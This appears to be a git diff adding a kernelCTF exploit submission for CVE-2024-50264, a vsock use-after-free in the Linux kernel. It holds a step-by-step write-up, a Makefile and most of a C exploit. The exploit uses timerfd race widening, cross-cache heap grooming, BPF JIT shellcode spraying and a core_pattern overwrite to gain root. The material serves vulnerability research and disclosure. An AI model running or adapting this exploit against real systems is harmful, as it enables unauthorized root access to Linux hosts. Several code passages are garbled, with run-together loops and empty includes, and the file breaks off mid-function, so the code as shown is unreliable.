diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/docs/exploit.md new file mode 100755 index 00000000..4113f776 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/docs/exploit.md @@ -0,0 +1,694 @@ +# Vulnerability +This vulnerability occurs because the vsk->trans pointer in virtio_transport_destruct() is not initialized to NULL after being freed, resulting in a dangling pointer. +```cpp +void virtio_transport_destruct(struct vsock_sock *vsk) +{ + struct virtio_vsock_sock *vvs = vsk->trans; // vsk->trans becomes a dangling pointer + + kfree(vvs); +} +``` +This dangling pointer vvs is later dereferenced in virtio_transport_space_update(), leading to a Use-After-Free Write. +```cpp +static bool virtio_transport_space_update(struct sock *sk, + struct sk_buff *skb) +{ + struct virtio_vsock_hdr *hdr = virtio_vsock_hdr(skb); + struct vsock_sock *vsk = vsock_sk(sk); + struct virtio_vsock_sock *vvs = vsk->trans; + bool space_available; + + /* Listener sockets are not associated with any transport, so we are + * not able to take the state to see if there is space available in the + * remote peer, but since they are only used to receive requests, we + * can assume that there is always space available in the other peer. + */ + if (!vvs) + return true; + + /* buf_alloc and fwd_cnt is always included in the hdr */ + spin_lock_bh(&vvs->tx_lock); + vvs->peer_buf_alloc = le32_to_cpu(hdr->buf_alloc); // UAF Write + vvs->peer_fwd_cnt = le32_to_cpu(hdr->fwd_cnt); + space_available = virtio_transport_has_space(vsk); + spin_unlock_bh(&vvs->tx_lock); + return space_available; +} +``` + +# Race Condition Scenario +This vulnerability is a race condition that must be triggered by precisely controlling the `vsock_loopback_work()` worker used for loopback communication. The full scenario is as follows and can be divided into three main flows. +```text + cpu0 cpu1 + + socket(A) // [1.1] + + bind(A, {cid: VMADDR_CID_LOCAL, port: 1024}) // [1.2] + vsock_bind() + + listen(A) + vsock_listen() + socket(B) // [2.1] + + connect(B, {cid: VMADDR_CID_LOCAL, port: 1024}) + vsock_connect() + lock_sock(sk); + vsock_assign_transport() + virtio_transport_do_socket_init() + vvs = kzalloc(sizeof(*vvs), GFP_KERNEL); // [2.2] + vsk->trans = vvs; + vsock_auto_bind() + __vsock_bind() + __vsock_bind_connectible() + __vsock_insert_bound() + list_add(&vsk->bound_table, list); + virtio_transport_connect() + virtio_transport_connect() + virtio_transport_send_pkt_info() + vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_REQUEST) + queue_work(vsock_loopback_work) // [2.3] + sk->sk_state = TCP_SYN_SENT; // [2.4] + release_sock(sk); + vsock_loopback_work() + virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_REQUEST) + sk = vsock_find_bound_socket(&dst); + virtio_transport_recv_listen(sk, skb) + child = vsock_create_connected(sk); // [3.1] + vsock_assign_transport() + vvs = kzalloc(sizeof(*vvs), GFP_KERNEL); // [3.2] + vsock_insert_connected(vchild); + list_add(&vsk->connected_table, list); + virtio_transport_send_response(vchild, skb); + virtio_transport_send_pkt_info() + vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RESPONSE) // [3.3] + queue_work(vsock_loopback_work) + + vsock_loopback_work() + virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RESPONSE) + sk = vsock_find_bound_socket(&dst); + lock_sock(sk); + case TCP_SYN_SENT: // [4.1] + virtio_transport_recv_connecting() + sk->sk_state = TCP_ESTABLISHED; // [4.2] + release_sock(sk); + + kill(connect(B)); // [5] + lock_sock(sk); + if (signal_pending(current)) { // [6.1] + sk->sk_state = sk->sk_state == TCP_ESTABLISHED ? TCP_CLOSING : TCP_CLOSE; // [6.2] + sock->state = SS_UNCONNECTED; // [6.3] + release_sock(sk); + + connect(B, {cid: VMADDR_CID_HYPERVISOR, port: 1024}) // [7.1] + vsock_connect(B) + lock_sock(sk); + vsock_assign_transport() + virtio_transport_release() + virtio_transport_close() + if (!(sk->sk_state == TCP_ESTABLISHED || sk->sk_state == TCP_CLOSING)) // [7.2] + virtio_transport_shutdown() + virtio_transport_send_pkt_info() + vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_SHUTDOWN) + queue_work(vsock_loopback_work) // [7.3] + vsock_deassign_transport() + virtio_transport_destruct() + kfree(vvs); // [7.4] + vsk->transport = NULL; // [7.5] + return -ESOCKTNOSUPPORT; // [7.6] + release_sock(sk); + vsock_loopback_work() + virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_SHUTDOWN) + sk = vsock_find_connected_socket(&src, &dst); + virtio_transport_recv_connected() + virtio_transport_reset() + virtio_transport_send_pkt_info() + vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RST) + queue_work(vsock_loopback_work) // [8] + timerfd_settime(TFD_TIMER_CANCEL_ON_SET) // [11] + + listen(B) + vsock_listen() + lock_sock(sk); // [10.1] + if (sock->state != SS_UNCONNECTED) // [10.2] + sk->sk_state = TCP_LISTEN; // [10.3] + release_sock(sk); + vsock_loopback_work() + virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RST) + sk = vsock_find_bound_socket(&dst); + lock_sock(sk); // [9.1] + if (sock_flag(sk, SOCK_DONE)) // [9.2] + virtio_transport_space_update() + vvs->peer_buf_alloc = le32_to_cpu(hdr->buf_alloc); // [9.3] + case TCP_LISTEN: + virtio_transport_recv_listen() + virtio_transport_reset_no_sock() + if (le16_to_cpu(hdr->op) == VIRTIO_VSOCK_OP_RST) + return 0; // [9.4] +``` + +## Flow 1: Triggering Use-After-Free Write +If the `SOCK_DONE` flag is set on vsock, it will exit through error handling before calling virtio_transport_space_update(), which accesses vvs. [0.1] +```cpp +void virtio_transport_recv_pkt(struct virtio_transport *t, + struct sk_buff *skb) +{ + ... + + /* Check if sk has been closed before lock_sock */ + if (sock_flag(sk, SOCK_DONE)) { // [0.1] + (void)virtio_transport_reset_no_sock(t, skb); + release_sock(sk); + sock_put(sk); + goto free_pkt; + } + + space_available = virtio_transport_space_update(sk, skb); +``` +Therefore, in flow 1, the goal is to use the race condition to ensure that the `SOCK_DONE` flag is not set. +1. Create vsock A[1.1] and B[2.1] to initiate loopback communication. At this point, set the cid to `VMADDR_CID_LOCAL` and use a port value higher than `#define LAST_RESERVED_PORT 1023`. [1.2] +2. When connect() is called on vsock B, the UAF target object vvs is allocated and stored in vsk->trans. [2.2] Next, the `VIRTIO_VSOCK_OP_REQUEST` command is passed to the vsock_loopback_work() worker[2.3], and the sk->sk_state of vsock B is set to `TCP_SYN_SENT`. [2.4] +3. The vsock_loopback_work() worker executes for the `VIRTIO_VSOCK_OP_REQUEST` command, allocates a child vsock[3.1], and then passes the `VIRTIO_VSOCK_OP_RESPONSE` command to the worker. [3.3] +4. The worker for the `VIRTIO_VSOCK_OP_RESPONSE` command executes, and since the sk->sk_state of vsock A, registered in the bound table, is currently `TCP_SYN_SENT`[4.1], it is reset to `TCP_ESTABLISHED`. [4.2] +5. A signal is sent to the currently pending connect(B) task. [5] +6. The connect(B) task, upon receiving the signal[6.1], changes the sk->sk_state of vsock B to `TCP_CLOSING` since it is currently in the `TCP_ESTABLISHED` state. [6.2] +7. Call connect(B) once more, this time changing the cid to `VMADDR_CID_HYPERVISOR`. [7.1] Since the cid has changed, vsock_connect() will terminate the current connection, free all associated objects, and update the connection to use the new cid. In virtio_transport_close(), the `SOCK_DONE` flag is set only if the vsock's sk->sk_state is not `TCP_ESTABLISHED | TCP_CLOSING`. [7.2] However, because the state was set to `TCP_CLOSING` in step 6[6.2], the `SOCK_DONE` flag does not get set. Without this series of race conditions, the sk->sk_state would have transitioned to `TCP_CLOSE`, causing the `SOCK_DONE` flag to be set, which would prevent triggering the UAF. +8. After passing the `VIRTIO_VSOCK_OP_SHUTDOWN` command to the worker[7.3], vsock_deassign_transport() is called to free the UAF target object vvs. At this point, vsk->trans is not initialized to NULL, resulting in a dangling pointer. [7.4] +9. In vsock_assign_transport(), if the vsock uses the SOCK_SEQPACKET protocol[0.2] but the transport corresponding to the provided cid(`VMADDR_CID_HYPERVISOR`) does not have a `.seqpacket_allow` operation[0.3], `return -ESOCKTNOSUPPORT;` is executed. [7.6] In the kernelCTF environment, the transport for `VMADDR_CID_HYPERVISOR` is `hvs_transport`, which lacks the `.seqpacket_allow` operation, causing an error return. As a result, the `new_transport->init(vsk, psk)` call, which would allocate a new transport for vsk->trans, is not executed. [0.4] This allows the dangling pointer to persist. +```cpp +static struct vsock_transport hvs_transport = { + .module = THIS_MODULE, + + .get_local_cid = hvs_get_local_cid, + + .init = hvs_sock_init, + .destruct = hvs_destruct, + .release = hvs_release, + .connect = hvs_connect, + .shutdown = hvs_shutdown, + ... + + +int vsock_assign_transport(struct vsock_sock *vsk, struct vsock_sock *psk) +{ + ... + + if (sk->sk_type == SOCK_SEQPACKET) { // [0.2] + if (!new_transport->seqpacket_allow || // [0.3] + !new_transport->seqpacket_allow(remote_cid)) { + module_put(new_transport->module); + return -ESOCKTNOSUPPORT; + } + } + + ret = new_transport->init(vsk, psk); // [0.4] When ->init() is called, vsk->trans gets overwritten + if (ret) { + module_put(new_transport->module); + return ret; + } +``` +10. The worker for the `VIRTIO_VSOCK_OP_SHUTDOWN` command executes, and the `VIRTIO_VSOCK_OP_RST` command is passed to the worker. [8] +11. Finally, the worker for the `VIRTIO_VSOCK_OP_RST` command executes and checks whether the `SOCK_DONE` flag is set on vsock B. [9.2] Through the earlier race condition, we ensured that the `SOCK_DONE` flag was not set. As a result, the flag check is bypassed, allowing virtio_transport_space_update() to be called. This dereferences the freed vvs, triggering a UAF Write. [9.3] + +## Flow 2: Postponing null-ptr-deref +Immediately after triggering the UAF in step by executing the race condition scenario in Flow 1[9.3], an unexpected null-ptr-deref occurs in the following call stack: +``` +virtio_transport_recv_pkt() + => virtio_transport_recv_disconnecting() + => virtio_transport_do_close() + => vsock_stream_has_data() +``` +This occurs because when connect(B) is called twice, vsock_deassign_transport() initializes vsk->transport to NULL during the vvs deallocation. [7.5] After the UAF is triggered, vsock_stream_has_data() dereferences the NULL vsk->transport, leading to a null-ptr-deref. [0.5] +```cpp +static void vsock_deassign_transport(struct vsock_sock *vsk) +{ + if (!vsk->transport) + return; + + vsk->transport->destruct(vsk); + module_put(vsk->transport->module); + vsk->transport = NULL; +} + + +s64 vsock_stream_has_data(struct vsock_sock *vsk) +{ + return vsk->transport->stream_has_data(vsk); // [0.5] +} +EXPORT_SYMBOL_GPL(vsock_stream_has_data); +``` +Since the kernel in kernelCTF has the `CONFIG_PANIC_ON_OOPS` option enabled, a null-ptr-deref will immediately trigger a kernel panic, preventing further exploitation. Therefore, in Flow 2, the goal is to bypass this null-ptr-deref using a separate race condition. +1. Just before the `VIRTIO_VSOCK_OP_RST` worker that triggers the UAF is executed, a listen() call is made on vsock B. Since the sock->state was previously set to `SS_UNCONNECTED`[6.3], the flag check fortunately passes. [10.2] +2. The sk->sk_state of vsock B is changed to `TCP_LISTEN`. [10.3] +3. Now, when the `VIRTIO_VSOCK_OP_RST` worker executes and the UAF Write is triggered, the race condition causes sk->sk_state to be changed to `TCP_LISTEN`. As a result, virtio_transport_recv_listen() is called[0.6] instead of virtio_transport_recv_disconnecting(). [0.7] +```cpp +void virtio_transport_recv_pkt(struct virtio_transport *t, + struct sk_buff *skb) +{ + ... + + switch (sk->sk_state) { + case TCP_LISTEN: + virtio_transport_recv_listen(sk, skb, t); // [0.6] + kfree_skb(skb); + break; + case TCP_SYN_SENT: + virtio_transport_recv_connecting(sk, skb); + kfree_skb(skb); + break; + case TCP_ESTABLISHED: + virtio_transport_recv_connected(sk, skb); + break; + case TCP_CLOSING: + virtio_transport_recv_disconnecting(sk, skb); // [0.7] When this is called, a null-ptr-deref occurs + kfree_skb(skb); + break; + default: + (void)virtio_transport_reset_no_sock(t, skb); + kfree_skb(skb); + break; + } +``` +4. virtio_transport_recv_listen() does nothing significant and simply returns 0. [9.4] However, even if the race condition is successful, the null-ptr-deref issue is not completely resolved. In Flow 1, virtio_transport_close() schedules a delayed worker to execute virtio_transport_close_timeout() after 8 seconds. [0.8] When this worker function runs, the null-ptr-deref occurs. Ultimately, the null-ptr-deref is delayed by 8 seconds. Nevertheless, 8 seconds is sufficient to complete the exploit and get the flag. +```cpp +#define VSOCK_CLOSE_TIMEOUT (8 * HZ) + +/* User context, vsk->sk is locked */ +static bool virtio_transport_close(struct vsock_sock *vsk) +{ + ... + + sock_hold(sk); + INIT_DELAYED_WORK(&vsk->close_work, + virtio_transport_close_timeout); + vsk->close_work_scheduled = true; + schedule_delayed_work(&vsk->close_work, VSOCK_CLOSE_TIMEOUT); // [0.8] A null-ptr-deref occurs after 8 seconds. + return false; +} +``` + +## Flow 3: Expanding the race window - timerfd +To exploit this vulnerability, cross-cache allocation is essential. However, the execution time between the vvs deallocation[7.4] and the UAF Write[9.3] is approximately 6μs in a local environment, making it nearly impossible to perform cross-cache allocation within this narrow window. + +Since the kernel in kernelCTF has `CONFIG_PREEMPT` disabled, the race window was extended using the timerfd technique. This technique is based on the [p0 blog](https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html) and was implemented using the code from the [CVE-2023-4622 Write-Up](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4622_lts/docs/exploit.md). + +1. do_epoll_enqueue() is used to set up the timerfd waitqueue. +2. In Flow 2, before calling listen(B), `timerfd_settime(TFD_TIMER_CANCEL_ON_SET)` is called. [11] This ensures that the timerfd expires after vsock_listen() invokes `lock_sock(sk)`. [10.1] +3. As a result, listen(B) holds the lock_sock while control is switched to the hardware interrupt handler, causing it to process the pending timerfd waitqueue entries for an extended period. +4. The worker triggering the UAF executes and similarly calls `lock_sock(sk)` for vsock B. [9.1] Meanwhile, the listen(B) call remains blocked, waiting for the interrupt handler's work to complete and the lock to be released. +5. The gap between the free and the UAF, which was initially just 6μs, is extended to 40000μs. This significant increase allows enough time to successfully perform cross-cache allocation. + +# Exploit Tech +## 0. Intro +Summarizing the primitives obtained so far, the vulnerable object is `struct virtio_vsock_sock`. +```cpp +/* Per-socket state (accessed via vsk->trans) */ +struct virtio_vsock_sock { + struct vsock_sock *vsk; + /* Protected by lock_sock(sk_vsock(trans->vsk)) */ + u32 buf_size; + u32 buf_size_min; + u32 buf_size_max; + spinlock_t tx_lock; + spinlock_t rx_lock; + /* Protected by tx_lock */ + u32 tx_cnt; + u32 buf_alloc; + u32 peer_fwd_cnt; + u32 peer_buf_alloc; + /* Protected by rx_lock */ + u32 fwd_cnt; + u32 rx_bytes; + struct list_head rx_queue; +}; +``` +--- + +### **Primitives** +1. The `peer_buf_alloc` field of the UAF-affected object (`kmalloc-96`) can be arbitrarily set. (4 bytes AAW in kmalloc-96 SLUB) + +### **Constraints to Address Before Exploitation** +The following exploitation technique addresses these constraints sequentially: + +1. Constructing an exploit using only the internal logic that modifies the `peer_buf_alloc` of `struct virtio_vsock_sock` is extremely difficult. As a result, a **cross-cache attack** is employed, which must be performed within **40000μs**. + +2. During the **cross-cache attack**, the `vvs` object created in step `[3.2]` cannot be freed. Since the UAF-affected object and the `[3.2]` object are created almost simultaneously, this must be bypassed to execute the cross-cache attack. + +3. The vulnerability occurs within a **worker thread**, and CPU affinity cannot be arbitrarily modified. The worker thread follows the CPU of the process that requested the work, a behavior observed empirically. + +4. If the `rx_lock` and `tx_lock` elements of the UAF-affected object `vvs` are not set to `NULL`, a **kernel panic** occurs when entering `spin_lock()`. Therefore, it is necessary to identify a **cross-cache victim object** in which `rx_lock` and `tx_lock` are set to `NULL`. + +5. After triggering the vulnerability, the system crashes within **8 seconds**, and the success rate of the race condition is extremely low. Consequently, the vulnerability can only be triggered **once** during the process. It is essential to find a method to exploit this by **arbitrarily writing 4 bytes** without relying on an address leak. + +## 1. Cross-Cache Attack w/ SLUBStick +The **cross-cache attack** is performed in the standard manner but modified to address **constraint 2** described earlier. To bypass this limitation, it is necessary to accurately determine the number of objects present in the SLUB allocator. This can be achieved using the [SLUBStick](https://github.com/IAIK/SLUBStick) technique. + +### **SLUBStick Overview** +The SLUBStick technique leverages the fact that the time taken to allocate an object in the SLUB allocator differs depending on the allocation path. Specifically, there is a noticeable speed difference when allocating from an **Active page** versus requesting objects after exhausting all SLUB pages and falling back to the **buddy allocator**. This timing difference can be used to determine the number of objects in the Active page. + +### **Exploitation Process** +The exploit uses **vvs objects** and **keyring objects** to manipulate the SLUB allocator. The steps are as follows: + +1. Generate a large number of **vvs objects** to completely eliminate all **Partial SLABs**. +2. Create **keyring objects** one at a time to identify the point where an allocation speed difference occurs. The point of speed difference indicates that a new Active page has been allocated. +3. From the point where the speed difference is observed, count the number of allocated objects to determine the `inuse` value. + +In the **kmalloc-96** cache, the value of **OBJS_PER_SLAB** is **0x2a**. + +```cpp +int *fds[0x28]; +for(int i=0; i<0x28; i++) + fds[i] = generate_spray_vvs_fd(OBJS_PER_SLAB); +int *checkfd = generate_spray_vvs_fd(OBJS_PER_SLAB); +int *remainfd = generate_spray_vvs_fd(OBJS_PER_SLAB); +for(int i=0; i<0x20; i++) + spray_vvs(fds[i], OBJS_PER_SLAB); + +uint64_t times[OBJS_PER_SLAB]; +uint64_t t0, t1; +snprintf(desc, sizeof(desc) - 1, "-%d", ++vv); +key_serial_t keyv; +for(int i=0; i=0; i--) + if(times[i] > 6000) + { + inuse = OBJS_PER_SLAB - i; + break; + } + +printf("inuse: %d\n", inuse); +usleep(10000); +``` + +With the exact number of objects determined, it is now possible to ensure that the **UAF object** (allocated from `[2.2]`) and the object that cannot be freed (allocated from `[3.2]`) are allocated on **different SLUB pages**. By filling the SLUB allocator until the `inuse` value reaches **0x29**, the UAF object is forced out of the **per-CPU cache**, while the other object remains in the **Active page**. Subsequently, by freeing a **keyring object** at a specific point, the SLUB containing the UAF object can be placed into the **per-CPU cache** on an arbitrary CPU. + +### **Cross-Cache Attack Execution** +With the above conditions satisfied, the following steps are performed to execute the **cross-cache attack**: + +1. **Trigger the vulnerability.** +2. Within **40000μs**, perform the following steps sequentially: + 1. Clear all kmalloc-96 SLUB pages containing the **UAF object**. + 2. Clear all previously allocated dummy kmalloc-96 SLUB pages. + 3. Allocate the **target object** for the cross-cache attack. + +```cpp +if (conn_pid == 0) { + [...] // Find inuse cnt of SLUB object + + for(int i=inuse; i 1) + { + printf("triggered from core_pattern\n"); + root(argv[1]); + exit(0); + } + + [...] +} +``` diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/docs/vulnerability.md new file mode 100755 index 00000000..964be476 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilites: None + - Kernel configuration: CONFIG_VSOCKETS, CONFIG_VSOCKETS_LOOPBACK + - User namespaces required: No +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/vmw_vsock?id=06a8fc78367d070720af960dcecec917d3ae5f3b +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/vmw_vsock?id=6ca575374dd9a507cdd16dfa0e78c2e9e20bd05f +- Affected kernel versions: v4.8-rc1 - v6.12-rc7 +- Affected component: vsock +- Syscall to disable: socket +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50264 +- Cause: Use-After-Free +- Description: During vsock loopback communication, a dangling pointer can be created in vsk->trans. In a complex race condition scenario, this dangling pointer can be dereferenced, leading to a Use-After-Free condition. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/Makefile b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/Makefile new file mode 100644 index 00000000..dd9d4d45 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/Makefile @@ -0,0 +1,26 @@ +# define complier type +CC = gcc +# compile options setting +CFLAGS = -O2 -static -w +# library link & option setting +LDFLAGS = -lkeyutils + +SUBDIRS = modules + +prerequisites: + sudo apt-get install libkeyutils-dev + +clean_subdirs: + @for dir in $(SUBDIRS); do \ + $(MAKE) -C $$dir clean; \ + done + +exploit: exploit.c modules/helper.o modules/pipe.o modules/xattr.o modules/msg_msg.o modules/keyring.o + $(CC) $(CFLAGS) $^ -o $@ $(LIBS) $(INCLUDES) $(LDFLAGS) + +all: + $(MAKE) exploit + +clean: + $(MAKE) clean_subdirs + rm -f *.o exploit \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/exploit b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/exploit new file mode 100644 index 00000000..6bc5c45b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/exploit.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/exploit.c new file mode 100644 index 00000000..6d8d69b5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/exploit.c @@ -0,0 +1,851 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "modules/keyring.h" +#include "modules/xattr.h" +#include "modules/msg_msg.h" + +int* shared_mutex; + + +#define FAIL_IF(x) if ((x)) { \ + perror(#x); \ + return -1; \ +} +#define SPRAY_ERROR 0 +#define SPRAY_RETRY 1 +#define SPRAY_SUCCESS 2 + +#define LAST_RESERVED_PORT 1023 + +#define NS_PER_JIFFIE 1000000ull + +int cid_port_num = LAST_RESERVED_PORT; + +void *trigger_stack = NULL; +void *heap_spray_stack = NULL; +volatile int status_spray = SPRAY_ERROR; + +int timefds[0x500000]; +int epfds[0x500000]; +char buf[0x1000]; +int tfd; + +static void epoll_ctl_add(int epfd, int fd, uint32_t events) +{ + struct epoll_event ev; + ev.events = events; + ev.data.fd = fd; + epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev); +} + +void do_epoll_enqueue(int fd) +{ + int cfd[2]; + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + for (int k = 0; k < 0x10; k++) + { + if (fork() == 0) + { + for (int i = 0; i < 0x300; i++) + { + timefds[i] = dup(fd); + } + for (int i = 0; i < 0x2c0; i++) + { + epfds[i] = epoll_create(0x1); + } + for (int i = 0; i < 0x2c0; i++) + { + for (int j = 0; j < 0x300; j++) + { + // queue as many as possible async waiters at timerfd waitqueue + epoll_ctl_add(epfds[i], timefds[j], 0); + } + } + write(cfd[1], buf, 1); + raise(SIGSTOP); // stop here for nothing and just keep epoll alive + } + // sync to make sure it has queue what we need + read(cfd[0], buf, 1); + } + close(cfd[0]); + close(cfd[1]); +} + +struct virtio_vsock_sock { + void *vsk; + int tx_lock; + int rx_lock; + int tx_cnt; + int peer_fwd_cnt; + int peer_buf_alloc; + int fwd_cnt; + int last_fwd_cnt; + int rx_bytes; + int buf_alloc; + char pad[4]; + char rx_queue[24]; + int msg_count; +}; +_Static_assert(sizeof(struct virtio_vsock_sock) == 80, "virtio_vsock_sock size missmatch"); + +union key_payload { + struct virtio_vsock_sock vvs; + struct { + char header[24]; + char data[]; + } key; +}; + +#define MAIN_CPU 0 +#define HELPER_CPU 1 + +inline static int _pin_to_cpu(int id) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(id, &set); + return sched_setaffinity(getpid(), sizeof(set), &set); +} + +unsigned long long get_jiffies() +{ + return times(NULL) * 10; +} + + +int random_in_range(int min, int max) +{ + return rand() % (max - min + 1) + min; +} +struct sock_filter filter[0x1000]; +char buf[0x1000]; +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + + +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666 %P", strlen("|/proc/%P/fd/666 %P")) == 0; +} + +int sc() +{ + int stopfd[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd)); + unsigned int prog_len = 0x900; + /* In current environment, the max instructions in a program is near 0x900 + And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably + */ + struct sock_filter table[] = { + {.code = BPF_LD + BPF_K, .k = 0xb3909090}, + {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}}; + + /* 0xb3909090 is NOPsled shellclode to make exploitation more reliable +90 nop +90 nop +90 nop +b3 b8 mov bl, 0xb8 +*/ + for (int i = 0; i < prog_len; i++) + filter[i] = table[0]; + + filter[prog_len - 1] = table[1]; + int idx = prog_len - 2; + +#include "sc.h" + + struct sock_fprog prog = { + .len = prog_len, + .filter = filter, + }; + + char buffer[0x1000]; + for (int k = 0; k < 0x50; k++) + { + if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit. + { + int fd[0x100][2]; + close(stopfd[1]); + for (int i = 0; i < 0x100; i++) + { + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd[i])); + SYSCHK(setsockopt(fd[i][0], SOL_SOCKET, + SO_ATTACH_FILTER, &prog, + sizeof(prog))); + } + write(stopfd[0], buf, 1); + while(*shared_mutex == 0) + sleep(1); + for (int i = 0; i < 0x100; i++) + { + // printf("run %d.%d!\n", k, i); + if(check_core()) + exit(0); + ssize_t bytes_written = write(fd[i][1], buffer, sizeof(buffer)); + ssize_t bytes_read = read(fd[i][0], buffer, sizeof(buffer)); + } + read(stopfd[0], buf, 1); + // exit(0); + } + } + /* wait for all forks to finish spraying BPF code */ + read(stopfd[1], buf, 0x50); + + return 0; +} + +int sockets[0x1000]; + +int sockets_child[0x1000]; + +#define CC_OVERFLOW_FACTOR 1 +#define OBJS_PER_SLAB 0x2a +#define CPU_PARTIAL 0x10 + +#define DRAIN_SLABS_CNT ((CPU_PARTIAL + 1) * CC_OVERFLOW_FACTOR) + +union key_payload payload = {}; +union key_payload readout = {}; +key_serial_t keys[256] = {}; +const size_t payload_size = sizeof(payload.vvs) - sizeof(payload.key.header); + +int user_key_payload_counter = 0; +int user_key_payloads[0x1000]; +void generate_full_slabs_with_user_key_payload() +{ + struct sockaddr_vm connect_addr = {0}; + user_key_payload_counter = 0; + connect_addr.svm_family = AF_VSOCK; + connect_addr.svm_cid = VMADDR_CID_LOCAL; + + for(int t=0; tuser_key_payload_counter - (OBJS_PER_SLAB*2 + 1); i--) + remove_keyring(user_key_payloads[i]); + user_key_payload_counter -= OBJS_PER_SLAB*2 + 1; + clock_gettime(CLOCK_BOOTTIME , &tp); + printf("[%lld.%lld] free_victim_slab end\n", tp.tv_sec, tp.tv_nsec); +} + +void victim_slab_to_buddy() +{ + struct timespec tp; + // clock_gettime(CLOCK_BOOTTIME , &tp); + // printf("[%lld.%lld] victim_slab_to_buddy start\n", tp.tv_sec, tp.tv_nsec); + for(int i = 0; i < user_key_payload_counter; i++) + remove_keyring(user_key_payloads[i]); + clock_gettime(CLOCK_BOOTTIME , &tp); + printf("[%lld.%lld] victim_slab_to_buddy end\n", tp.tv_sec, tp.tv_nsec); +} + +#define SEQ_FILE_CNT 0x300 +int seqfd[SEQ_FILE_CNT]; + +void spray_seq_operations() +{ + struct timespec tp; + // clock_gettime(CLOCK_BOOTTIME , &tp); + // printf("[%lld.%lld] spray_seq_operations start\n", tp.tv_sec, tp.tv_nsec); + for (int i = 0; i < SEQ_FILE_CNT; i++) + seqfd[i] = open("/proc/self/stat", O_RDONLY); + clock_gettime(CLOCK_BOOTTIME , &tp); + printf("[%lld.%lld] spray_seq_operations end\n", tp.tv_sec, tp.tv_nsec); +} + +void cleanup_seqs() +{ + for (int i = 0; i < SEQ_FILE_CNT; i++) + close(seqfd[i]); +} + + +#define FILENAME_LEN 0x100 +#define FILENAME_PREFIX "/tmp/a" +#define XATTR_PADDING_STR "A" +void spray_xattrs(int uniquenum, int cnt) +{ + char file_name[FILENAME_LEN]; + char value_name[XATTR_VALUE_KMALLOC_CG_8K]; + char attribute_name[XATTR_VALUE_KMALLOC_CG_8K]; + struct timespec tp; + + // clock_gettime(CLOCK_BOOTTIME , &tp); + // printf("[%lld.%lld] spray_xattrs start\n", tp.tv_sec, tp.tv_nsec); + + snprintf(file_name, FILENAME_LEN, "%s-%08d", FILENAME_PREFIX, uniquenum); + close(creat(file_name, 0644)); + + for (uint64_t i = 0; i < cnt; i++) { + snprintf(value_name, XATTR_VALUE_KMALLOC_CG_8K, "security.value%05lu-%s", i, XATTR_PADDING_STR); + snprintf(attribute_name, XATTR_VALUE_KMALLOC_CG_8K, "security.attr%12lu-%s", 3, XATTR_PADDING_STR); + create_xattr(file_name, attribute_name, value_name, XATTR_VALUE_KMALLOC_CG_96, true); + } + + clock_gettime(CLOCK_BOOTTIME , &tp); + printf("[%lld.%lld] spray_xattrs end\n", tp.tv_sec, tp.tv_nsec); +} + +int kill_count = 1; +static inline size_t rdtsc_begin(void) +{ +#if defined(ARM64) + return rdtsc(); +#else + size_t a, d; + asm volatile ("mfence"); + asm volatile ("rdtsc" : "=a" (a), "=d" (d)); + a = (d<<32) | a; + asm volatile ("lfence"); + return a; +#endif +} + +static inline size_t 